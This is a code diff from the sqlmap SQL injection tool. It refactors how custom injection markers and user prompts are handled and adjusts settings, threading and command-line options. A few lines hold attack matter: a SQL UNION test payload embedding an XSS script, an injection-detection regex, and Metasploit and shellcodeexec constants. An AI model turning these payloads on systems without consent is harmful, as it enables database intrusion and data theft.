+GET_VALUE_UPPERCASE_KEYWORDS = ("SELECT", "FROM", "WHERE", "DISTINCT", "COUNT")
+
 LEGAL_DISCLAIMER = "Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program"

 # After this number of misses reflective removal mechanism is turned off (for speed up reasons)
@@ -469,7 +478,7 @@ DUMMY_USER_INJECTION = r"(?i)[^\w](AND|OR)\s+[^\s]+[=><]|\bUNION\b.+\bSELECT\b|\
 # Extensions skipped by crawler
 CRAWL_EXCLUDE_EXTENSIONS = ("3ds", "3g2", "3gp", "7z", "DS_Store", "a", "aac", "adp", "ai", "aif", "aiff", "apk", "ar", "asf", "au", "avi", "bak", "bin", "bk", "bmp", "btif", "bz2", "cab", "caf", "cgm", "cmx", "cpio", "cr2", "dat", "deb", "djvu", "dll", "dmg", "dmp", "dng", "doc", "docx", "dot", "dotx", "dra", "dsk", "dts", "dtshd", "dvb", "dwg", "dxf", "ear", "ecelp4800", "ecelp7470", "ecelp9600", "egg", "eol", "eot", "epub", "exe", "f4v", "fbs", "fh", "fla", "flac", "fli", "flv", "fpx", "fst", "fvt", "g3", "gif", "gz", "h261", "h263", "h264", "ico", "ief", "image", "img", "ipa", "iso", "jar", "jpeg", "jpg", "jpgv", "jpm", "jxr", "ktx", "lvp", "lz", "lzma", "lzo", "m3u", "m4a", "m4v", "mar", "mdi", "mid", "mj2", "mka", "mkv", "mmr", "mng", "mov", "movie", "mp3", "mp4", "mp4a", "mpeg", "mpg", "mpga", "mxu", "nef", "npx", "o", "oga", "ogg", "ogv", "otf", "pbm", "pcx", "pdf", "pea", "pgm", "pic", "png", "pnm", "ppm", "pps", "ppt", "pptx", "ps", "psd", "pya", "pyc", "pyo", "pyv", "qt", "rar", "ras", "raw", "rgb", "rip", "rlc", "rz", "s3m", "s7z", "scm", "scpt", "sgi", "shar", "sil", "smv", "so", "sub", "swf", "tar", "tbz2", "tga", "tgz", "tif", "tiff", "tlz", "ts", "ttf", "uvh", "uvi", "uvm", "uvp", "uvs", "uvu", "viv", "vob", "war", "wav", "wax", "wbmp", "wdp", "weba", "webm", "webp", "whl", "wm", "wma", "wmv", "wmx", "woff", "woff2", "wvx", "xbm", "xif", "xls", "xlsx", "xlt", "xm", "xpi", "xpm", "xwd", "xz", "z", "zip", "zipx")

-# Patterns often seen in HTTP headers containing custom injection marking character
+# Patterns often seen in HTTP headers containing custom injection marking character '*'
 PROBLEMATIC_CUSTOM_INJECTION_PATTERNS = r"(;q=[^;']+)|(\*/\*)"

 # Template used for common table existence check
@@ -484,6 +493,12 @@ IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")
 # Data inside shellcodeexec to be filled with random string
 SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"

+# Generic address for checking the Internet connection while using switch --check-internet
+CHECK_INTERNET_ADDRESS = "http://ipinfo.io/"
+
+# Value to look for in response to CHECK_INTERNET_ADDRESS
+CHECK_INTERNET_VALUE = "IP Address Details"
+
 # Vectors used for provoking specific WAF/IPS/IDS behavior(s)
 WAF_ATTACK_VECTORS = (
    "",  # NIL
@@ -618,7 +633,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
 CHECK_ZERO_COLUMNS_THRESHOLD = 10

 # Boldify all logger messages containing these "patterns"
-BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA")
+BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "does not seem to be", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CAPTCHA", "specific response")

 # Generic www root directory names
 GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www")
@@ -693,7 +708,7 @@ MAX_HISTORY_LENGTH = 1000
 MIN_ENCODED_LEN_CHECK = 5

 # Timeout in seconds in which Metasploit remote session has to be initialized
-METASPLOIT_SESSION_TIMEOUT = 300
+METASPLOIT_SESSION_TIMEOUT = 120

 # Reference: http://www.postgresql.org/docs/9.0/static/catalog-pg-largeobject.html
 LOBLKSIZE = 2048
@@ -9,6 +9,8 @@ import codecs
 import functools
 import os
 import re
+import subprocess
+import sys
 import tempfile
 import time
 import urlparse
@@ -18,6 +20,7 @@ from lib.core.common import getSafeExString
 from lib.core.common import getUnicode
 from lib.core.common import hashDBRetrieve
 from lib.core.common import intersect
+from lib.core.common import isNumPosStrValue
 from lib.core.common import normalizeUnicode
 from lib.core.common import openFile
 from lib.core.common import paramToDict
@@ -49,7 +52,6 @@ from lib.core.option import _setKnowledgeBaseAttributes
 from lib.core.option import _setAuthCred
 from lib.core.settings import ASTERISK_MARKER
 from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
-from lib.core.settings import CUSTOM_INJECTION_MARK_CHAR
 from lib.core.settings import DEFAULT_GET_POST_DELIMITER
 from lib.core.settings import HOST_ALIASES
 from lib.core.settings import ARRAY_LIKE_RECOGNITION_REGEX
@@ -111,92 +113,107 @@ def _setRequestParams():
                        retVal = retVal.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
                    else:
                        break
-                if CUSTOM_INJECTION_MARK_CHAR in retVal:
-                    hintNames.append((retVal.split(CUSTOM_INJECTION_MARK_CHAR)[0], match.group("name")))
+                if kb.customInjectionMark in retVal:
+                    hintNames.append((retVal.split(kb.customInjectionMark)[0], match.group("name")))
            return retVal

-        if kb.processUserMarks is None and CUSTOM_INJECTION_MARK_CHAR in conf.data:
-            message = "custom injection marking character ('%s') found in option " % CUSTOM_INJECTION_MARK_CHAR
+        if kb.processUserMarks is None and kb.customInjectionMark in conf.data:
+            message = "custom injection marker ('%s') found in option " % kb.customInjectionMark
            message += "'--data'. Do you want to process it? [Y/n/q] "
-            test = readInput(message, default="Y")
-            if test and test[0] in ("q", "Q"):
+            choice = readInput(message, default='Y').upper()
+
+            if choice == 'Q':
                raise SqlmapUserQuitException
            else:
-                kb.processUserMarks = not test or test[0] not in ("n", "N")
+                kb.processUserMarks = choice == 'Y'

                if kb.processUserMarks:
                    kb.testOnlyCustom = True

-        if not (kb.processUserMarks and CUSTOM_INJECTION_MARK_CHAR in conf.data):
-            if re.search(JSON_RECOGNITION_REGEX, conf.data):
-                message = "JSON data found in %s data. " % conf.method
-                message += "Do you want to process it? [Y/n/q] "
-                test = readInput(message, default="Y")
-                if test and test[0] in ("q", "Q"):
-                    raise SqlmapUserQuitException
-                elif test[0] not in ("n", "N"):
+        if re.search(JSON_RECOGNITION_REGEX, conf.data):
+            message = "JSON data found in %s data. " % conf.method
+            message += "Do you want to process it? [Y/n/q] "
+            choice = readInput(message, default='Y').upper()
+
+            if choice == 'Q':
+                raise SqlmapUserQuitException
+            elif choice == 'Y':
+                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
-                    conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
-                    conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR), conf.data)
-                    conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR), conf.data)
+                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
+                    conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*"[^"]+)"', functools.partial(process, repl=r'\g<1>%s"' % kb.customInjectionMark), conf.data)
+                    conf.data = re.sub(r'("(?P<name>[^"]+)"\s*:\s*)(-?\d[\d\.]*\b)', functools.partial(process, repl=r'\g<0>%s' % kb.customInjectionMark), conf.data)
                    match = re.search(r'(?P<name>[^"]+)"\s*:\s*\[([^\]]+)\]', conf.data)
                    if match and not (conf.testParameter and match.group("name") not in conf.testParameter):
                        _ = match.group(2)
-                        _ = re.sub(r'("[^"]+)"', '\g<1>%s"' % CUSTOM_INJECTION_MARK_CHAR, _)
-                        _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % CUSTOM_INJECTION_MARK_CHAR, _)
+                        _ = re.sub(r'("[^"]+)"', '\g<1>%s"' % kb.customInjectionMark, _)
+                        _ = re.sub(r'(\A|,|\s+)(-?\d[\d\.]*\b)', '\g<0>%s' % kb.customInjectionMark, _)
                        conf.data = conf.data.replace(match.group(0), match.group(0).replace(match.group(2), _))
-                    kb.postHint = POST_HINT.JSON

-            elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
-                message = "JSON-like data found in %s data. " % conf.method
-                message += "Do you want to process it? [Y/n/q] "
-                test = readInput(message, default="Y")
-                if test and test[0] in ("q", "Q"):
-                    raise SqlmapUserQuitException
-                elif test[0] not in ("n", "N"):
+                kb.postHint = POST_HINT.JSON
+
+        elif re.search(JSON_LIKE_RECOGNITION_REGEX, conf.data):
+            message = "JSON-like data found in %s data. " % conf.method
+            message += "Do you want to process it? [Y/n/q] "
+            choice = readInput(message, default='Y').upper()
+
+            if choice == 'Q':
+                raise SqlmapUserQuitException
+            elif choice == 'Y':
+                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
-                    conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
-                    conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
-                    conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
-                    kb.postHint = POST_HINT.JSON_LIKE
+                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
+                    conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*'[^']+)'", functools.partial(process, repl=r"\g<1>%s'" % kb.customInjectionMark), conf.data)
+                    conf.data = re.sub(r"('(?P<name>[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % kb.customInjectionMark), conf.data)

-            elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
-                message = "Array-like data found in %s data. " % conf.method
-                message += "Do you want to process it? [Y/n/q] "
-                test = readInput(message, default="Y")
-                if test and test[0] in ("q", "Q"):
-                    raise SqlmapUserQuitException
-                elif test[0] not in ("n", "N"):
-                    conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
-                    conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % CUSTOM_INJECTION_MARK_CHAR, conf.data)
-                    kb.postHint = POST_HINT.ARRAY_LIKE
+                kb.postHint = POST_HINT.JSON_LIKE

-            elif re.search(XML_RECOGNITION_REGEX, conf.data):
-                message = "SOAP/XML data found in %s data. " % conf.method
-                message += "Do you want to process it? [Y/n/q] "
-                test = readInput(message, default="Y")
-                if test and test[0] in ("q", "Q"):
-                    raise SqlmapUserQuitException
-                elif test[0] not in ("n", "N"):
+        elif re.search(ARRAY_LIKE_RECOGNITION_REGEX, conf.data):
+            message = "Array-like data found in %s data. " % conf.method
+            message += "Do you want to process it? [Y/n/q] "
+            choice = readInput(message, default='Y').upper()
+
+            if choice == 'Q':
+                raise SqlmapUserQuitException
+            elif choice == 'Y':
+                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
+                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
+                    conf.data = re.sub(r"(=[^%s]+)" % DEFAULT_GET_POST_DELIMITER, r"\g<1>%s" % kb.customInjectionMark, conf.data)
+
+                kb.postHint = POST_HINT.ARRAY_LIKE
+
+        elif re.search(XML_RECOGNITION_REGEX, conf.data):
+            message = "SOAP/XML data found in %s data. " % conf.method
+            message += "Do you want to process it? [Y/n/q] "
+            choice = readInput(message, default='Y').upper()
+
+            if choice == 'Q':
+                raise SqlmapUserQuitException
+            elif choice == 'Y':
+                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
-                    conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
-                    conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
-                    kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
+                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
+                    conf.data = re.sub(r"(<(?P<name>[^>]+)( [^<]*)?>)([^<]+)(</\2)", functools.partial(process, repl=r"\g<1>\g<4>%s\g<5>" % kb.customInjectionMark), conf.data)

-            elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
-                message = "Multipart-like data found in %s data. " % conf.method
-                message += "Do you want to process it? [Y/n/q] "
-                test = readInput(message, default="Y")
-                if test and test[0] in ("q", "Q"):
-                    raise SqlmapUserQuitException
-                elif test[0] not in ("n", "N"):
+                kb.postHint = POST_HINT.SOAP if "soap" in conf.data.lower() else POST_HINT.XML
+
+        elif re.search(MULTIPART_RECOGNITION_REGEX, conf.data):
+            message = "Multipart-like data found in %s data. " % conf.method
+            message += "Do you want to process it? [Y/n/q] "
+            choice = readInput(message, default='Y').upper()
+
+            if choice == 'Q':
+                raise SqlmapUserQuitException
+            elif choice == 'Y':
+                if not (kb.processUserMarks and kb.customInjectionMark in conf.data):
                    conf.data = getattr(conf.data, UNENCODED_ORIGINAL_VALUE, conf.data)
-                    conf.data = conf.data.replace(CUSTOM_INJECTION_MARK_CHAR, ASTERISK_MARKER)
-                    conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"'](?P<name>[^\n]+?)[\"']).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % CUSTOM_INJECTION_MARK_CHAR), conf.data)
-                    kb.postHint = POST_HINT.MULTIPART
+                    conf.data = conf.data.replace(kb.customInjectionMark, ASTERISK_MARKER)
+                    conf.data = re.sub(r"(?si)((Content-Disposition[^\n]+?name\s*=\s*[\"']?(?P<name>[^\"'\r\n]+)[\"']?).+?)(((\r)?\n)+--)", functools.partial(process, repl=r"\g<1>%s\g<4>" % kb.customInjectionMark), conf.data)
+
+                kb.postHint = POST_HINT.MULTIPART

        if not kb.postHint:
-            if CUSTOM_INJECTION_MARK_CHAR in conf.data:  # later processed
+            if kb.customInjectionMark in conf.data:  # later processed
                pass
            else:
                place = PLACE.POST
@@ -208,12 +225,12 @@ def _setRequestParams():
                    conf.paramDict[place] = paramDict
                    testableParameters = True
        else:
-            if CUSTOM_INJECTION_MARK_CHAR not in conf.data:  # in case that no usable parameter values has been found
+            if kb.customInjectionMark not in conf.data:  # in case that no usable parameter values has been found
                conf.parameters[PLACE.POST] = conf.data

-    kb.processUserMarks = True if (kb.postHint and CUSTOM_INJECTION_MARK_CHAR in conf.data) else kb.processUserMarks
+    kb.processUserMarks = True if (kb.postHint and kb.customInjectionMark in conf.data) else kb.processUserMarks

-    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not CUSTOM_INJECTION_MARK_CHAR in (conf.data or "") and conf.url.startswith("http"):
+    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not kb.customInjectionMark in (conf.data or "") and conf.url.startswith("http"):
        warnMsg = "you've provided target URL without any GET "
        warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
        warnMsg += "and without providing any POST parameters "
@@ -222,31 +239,32 @@ def _setRequestParams():

        message = "do you want to try URI injections "
        message += "in the target URL itself? [Y/n/q] "
-        test = readInput(message, default="Y")
+        choice = readInput(message, default='Y').upper()

-        if test and test[0] in ("q", "Q"):
+        if choice == 'Q':
            raise SqlmapUserQuitException
-        elif not test or test[0] not in ("n", "N"):
-            conf.url = "%s%s" % (conf.url, CUSTOM_INJECTION_MARK_CHAR)
+        elif choice == 'Y':
+            conf.url = "%s%s" % (conf.url, kb.customInjectionMark)
            kb.processUserMarks = True

    for place, value in ((PLACE.URI, conf.url), (PLACE.CUSTOM_POST, conf.data), (PLACE.CUSTOM_HEADER, str(conf.httpHeaders))):
        _ = re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or "") if place == PLACE.CUSTOM_HEADER else value or ""
-        if CUSTOM_INJECTION_MARK_CHAR in _:
+        if kb.customInjectionMark in _:
            if kb.processUserMarks is None:
                lut = {PLACE.URI: '-u', PLACE.CUSTOM_POST: '--data', PLACE.CUSTOM_HEADER: '--headers/--user-agent/--referer/--cookie'}
-                message = "custom injection marking character ('%s') found in option " % CUSTOM_INJECTION_MARK_CHAR
+                message = "custom injection marker ('%s') found in option " % kb.customInjectionMark
                message += "'%s'. Do you want to process it? [Y/n/q] " % lut[place]
-                test = readInput(message, default="Y")
-                if test and test[0] in ("q", "Q"):
+                choice = readInput(message, default='Y').upper()
+
+                if choice == 'Q':
                    raise SqlmapUserQuitException
                else:
-                    kb.processUserMarks = not test or test[0] not in ("n", "N")
+                    kb.processUserMarks = choice == 'Y'

                    if kb.processUserMarks:
                        kb.testOnlyCustom = True

-                        if "=%s" % CUSTOM_INJECTION_MARK_CHAR in _:
+                        if "=%s" % kb.customInjectionMark in _:
                            warnMsg = "it seems that you've provided empty parameter value(s) "
                            warnMsg += "for testing. Please, always use only valid parameter values "
                            warnMsg += "so sqlmap could be able to run properly"
@@ -278,13 +296,13 @@ def _setRequestParams():
                if place == PLACE.CUSTOM_HEADER:
                    for index in xrange(len(conf.httpHeaders)):
                        header, value = conf.httpHeaders[index]
-                        if CUSTOM_INJECTION_MARK_CHAR in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value):
-                            parts = value.split(CUSTOM_INJECTION_MARK_CHAR)
+                        if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value):
+                            parts = value.split(kb.customInjectionMark)
                            for i in xrange(len(parts) - 1):
-                                conf.paramDict[place]["%s #%d%s" % (header, i + 1, CUSTOM_INJECTION_MARK_CHAR)] = "%s,%s" % (header, "".join("%s%s" % (parts[j], CUSTOM_INJECTION_MARK_CHAR if i == j else "") for j in xrange(len(parts))))
-                            conf.httpHeaders[index] = (header, value.replace(CUSTOM_INJECTION_MARK_CHAR, ""))
+                                conf.paramDict[place]["%s #%d%s" % (header, i + 1, kb.customInjectionMark)] = "%s,%s" % (header, "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts))))
+                            conf.httpHeaders[index] = (header, value.replace(kb.customInjectionMark, ""))
                else:
-                    parts = value.split(CUSTOM_INJECTION_MARK_CHAR)
+                    parts = value.split(kb.customInjectionMark)

                    for i in xrange(len(parts) - 1):
                        name = None
@@ -294,8 +312,8 @@ def _setRequestParams():
                                    name = "%s %s" % (kb.postHint, _)
                                    break
                        if name is None:
-                            name = "%s#%s%s" % (("%s " % kb.postHint) if kb.postHint else "", i + 1, CUSTOM_INJECTION_MARK_CHAR)
-                        conf.paramDict[place][name] = "".join("%s%s" % (parts[j], CUSTOM_INJECTION_MARK_CHAR if i == j else "") for j in xrange(len(parts)))
+                            name = "%s#%s%s" % (("%s " % kb.postHint) if kb.postHint else "", i + 1, kb.customInjectionMark)
+                        conf.paramDict[place][name] = "".join("%s%s" % (parts[j], kb.customInjectionMark if i == j else "") for j in xrange(len(parts)))

                    if place == PLACE.URI and PLACE.GET in conf.paramDict:
                        del conf.paramDict[PLACE.GET]
@@ -307,7 +325,7 @@ def _setRequestParams():
    if kb.processUserMarks:
        for item in ("url", "data", "agent", "referer", "cookie"):
            if conf.get(item):
-                conf[item] = conf[item].replace(CUSTOM_INJECTION_MARK_CHAR, "")
+                conf[item] = conf[item].replace(kb.customInjectionMark, "")

    # Perform checks on Cookie parameters
    if conf.cookie:
@@ -356,8 +374,8 @@ def _setRequestParams():

                if condition:
                    conf.parameters[PLACE.CUSTOM_HEADER] = str(conf.httpHeaders)
-                    conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, CUSTOM_INJECTION_MARK_CHAR)}
-                    conf.httpHeaders = [(header, value.replace(CUSTOM_INJECTION_MARK_CHAR, "")) for header, value in conf.httpHeaders]
+                    conf.paramDict[PLACE.CUSTOM_HEADER] = {httpHeader: "%s,%s%s" % (httpHeader, headerValue, kb.customInjectionMark)}
+                    conf.httpHeaders = [(header, value.replace(kb.customInjectionMark, "")) for header, value in conf.httpHeaders]
                    testableParameters = True

    if not conf.parameters:
@@ -381,9 +399,9 @@ def _setRequestParams():
                if any(parameter.lower().count(_) for _ in CSRF_TOKEN_PARAMETER_INFIXES):
                    message = "%s parameter '%s' appears to hold anti-CSRF token. " % (place, parameter)
                    message += "Do you want sqlmap to automatically update it in further requests? [y/N] "
-                    test = readInput(message, default="N")
-                    if test and test[0] in ("y", "Y"):
-                        conf.csrfToken = parameter
+
+                    if readInput(message, default='N', boolean=True):
+                        conf.csrfToken = getUnicode(parameter)
                    break

 def _setHashDB():
@@ -418,7 +436,7 @@ def _resumeHashDBValues():
    kb.xpCmdshellAvailable = hashDBRetrieve(HASHDB_KEYS.KB_XP_CMDSHELL_AVAILABLE) or kb.xpCmdshellAvailable

    kb.errorChunkLength = hashDBRetrieve(HASHDB_KEYS.KB_ERROR_CHUNK_LENGTH)
-    if kb.errorChunkLength and kb.errorChunkLength.isdigit():
+    if isNumPosStrValue(kb.errorChunkLength):
        kb.errorChunkLength = int(kb.errorChunkLength)
    else:
        kb.errorChunkLength = None
@@ -431,7 +449,7 @@ def _resumeHashDBValues():

            if not conf.tech or intersect(conf.tech, injection.data.keys()):
                if intersect(conf.tech, injection.data.keys()):
-                    injection.data = dict(filter(lambda (key, item): key in conf.tech, injection.data.items()))
+                    injection.data = dict(_ for _ in injection.data.items() if _[0] in conf.tech)

                if injection not in kb.injections:
                    kb.injections.append(injection)
@@ -471,9 +489,8 @@ def _resumeDBMS():
            message += "sqlmap assumes the back-end DBMS is '%s'. " % dbms
            message += "Do you really want to force the back-end "
            message += "DBMS value? [y/N] "
-            test = readInput(message, default="N")

-            if not test or test[0] in ("n", "N"):
+            if not readInput(message, default='N', boolean=True):
                conf.dbms = None
                Backend.setDbms(dbms)
                Backend.setVersionList(dbmsVersion)
@@ -507,9 +524,8 @@ def _resumeOS():
            message += "operating system is %s. " % os
            message += "Do you really want to force the back-end DBMS "
            message += "OS value? [y/N] "
-            test = readInput(message, default="N")

-            if not test or test[0] in ("n", "N"):
+            if not readInput(message, default='N', boolean=True):
                conf.os = os
        else:
            conf.os = os
@@ -532,7 +548,8 @@ def _setResultsFile():
        except (OSError, IOError), ex:
            try:
                warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
-                conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")[1]
+                handle, conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")
+                os.close(handle)
                conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
                warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
                logger.warn(warnMsg)
@@ -630,30 +647,31 @@ def _createTargetDirs():

    conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname)))

-    if not os.path.isdir(conf.outputPath):
-        try:
+    try:
+        if not os.path.isdir(conf.outputPath):
            os.makedirs(conf.outputPath, 0755)
-        except (OSError, IOError), ex:
-            try:
-                tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
-            except Exception, _:
-                errMsg = "unable to write to the temporary directory ('%s'). " % _
-                errMsg += "Please make sure that your disk is not full and "
-                errMsg += "that you have sufficient write permissions to "
-                errMsg += "create temporary files and/or directories"
-                raise SqlmapSystemException(errMsg)
+    except (OSError, IOError, TypeError), ex:
+        try:
+            tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
+        except Exception, _:
+            errMsg = "unable to write to the temporary directory ('%s'). " % _
+            errMsg += "Please make sure that your disk is not full and "
+            errMsg += "that you have sufficient write permissions to "
+            errMsg += "create temporary files and/or directories"
+            raise SqlmapSystemException(errMsg)

-            warnMsg = "unable to create output directory "
-            warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex))
-            warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
-            logger.warn(warnMsg)
+        warnMsg = "unable to create output directory "
+        warnMsg += "'%s' (%s). " % (conf.outputPath, getUnicode(ex))
+        warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
+        logger.warn(warnMsg)

-            conf.outputPath = tempDir
+        conf.outputPath = tempDir

    try:
        with codecs.open(os.path.join(conf.outputPath, "target.txt"), "w+", UNICODE_ENCODING) as f:
            f.write(kb.originalUrls.get(conf.url) or conf.url or conf.hostname)
            f.write(" (%s)" % (HTTPMETHOD.POST if conf.data else HTTPMETHOD.GET))
+            f.write("  # %s" % getUnicode(subprocess.list2cmdline(sys.argv), encoding=sys.stdin.encoding))
            if conf.data:
                f.write("\n\n%s" % getUnicode(conf.data))
    except IOError, ex:
@@ -7,7 +7,6 @@ See the file 'doc/COPYING' for copying permission

 import difflib
 import random
-import thread
 import threading
 import time
 import traceback
@@ -46,6 +45,7 @@ class _ThreadData(threading.local):
        self.lastComparisonPage = None
        self.lastComparisonHeaders = None
        self.lastComparisonCode = None
+        self.lastComparisonRatio = None
        self.lastErrorPage = None
        self.lastHTTPError = None
        self.lastRedirectMsg = None
@@ -67,7 +67,7 @@ ThreadData = _ThreadData()
 def getCurrentThreadUID():
    return hash(threading.currentThread())

-def readInput(message, default=None):
+def readInput(message, default=None, checkBatch=True, boolean=False):
    # It will be overwritten by original from lib.core.common
    pass

@@ -87,7 +87,7 @@ def getCurrentThreadName():

    return threading.current_thread().getName()

-def exceptionHandledFunction(threadFunction):
+def exceptionHandledFunction(threadFunction, silent=False):
    try:
        threadFunction()
    except KeyboardInterrupt:
@@ -95,8 +95,8 @@ def exceptionHandledFunction(threadFunction):
        kb.threadException = True
        raise
    except Exception, ex:
-        # thread is just going to be silently killed
-        logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))
+        if not silent:
+            logger.error("thread %s: %s" % (threading.currentThread().getName(), ex.message))

 def setDaemon(thread):
    # Reference: http://stackoverflow.com/questions/190010/daemon-threads-explanation
@@ -150,7 +150,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio

            try:
                thread.start()
-            except thread.error, ex:
+            except Exception, ex:
                errMsg = "error occurred while starting new thread ('%s')" % ex.message
                logger.critical(errMsg)
                break
@@ -207,7 +207,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
            if lock.locked():
                try:
                    lock.release()
-                except thread.error:
+                except:
                    pass

        if conf.get("hashDB"):
@@ -31,7 +31,6 @@ from lib.core.settings import BASIC_HELP_ITEMS
 from lib.core.settings import DUMMY_URL
 from lib.core.settings import IS_WIN
 from lib.core.settings import MAX_HELP_OPTION_LENGTH
-from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import VERSION_STRING
 from lib.core.shell import autoCompletion
 from lib.core.shell import clearHistory
@@ -48,7 +47,8 @@ def cmdLineParser(argv=None):

    checkSystemEncoding()

-    _ = getUnicode(os.path.basename(argv[0]), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)
+    # Reference: https://stackoverflow.com/a/4012683 (Note: previously used "...sys.getfilesystemencoding() or UNICODE_ENCODING")
+    _ = getUnicode(os.path.basename(argv[0]), encoding=sys.stdin.encoding)

    usage = "%s%s [options]" % ("python " if not IS_WIN else "", \
            "\"%s\"" % _ if " " in _ else _)
@@ -149,8 +149,8 @@ def cmdLineParser(argv=None):
        request.add_option("--auth-file", dest="authFile",
                           help="HTTP authentication PEM cert/private key file")

-        request.add_option("--ignore-401", dest="ignore401", action="store_true",
-                          help="Ignore HTTP Error 401 (Unauthorized)")
+        request.add_option("--ignore-code", dest="ignoreCode", type="int",
+                          help="Ignore HTTP error code (e.g. 401)")

        request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
                           help="Ignore system default proxy settings")
@@ -321,7 +321,7 @@ def cmdLineParser(argv=None):

        detection.add_option("--risk", dest="risk", type="int",
                             help="Risk of tests to perform (1-3, "
-                                  "default %d)" % defaults.level)
+                                  "default %d)" % defaults.risk)

        detection.add_option("--string", dest="string",
                             help="String to match when "
@@ -482,10 +482,10 @@ def cmdLineParser(argv=None):
                               help="Use WHERE condition while table dumping")

        enumeration.add_option("--start", dest="limitStart", type="int",
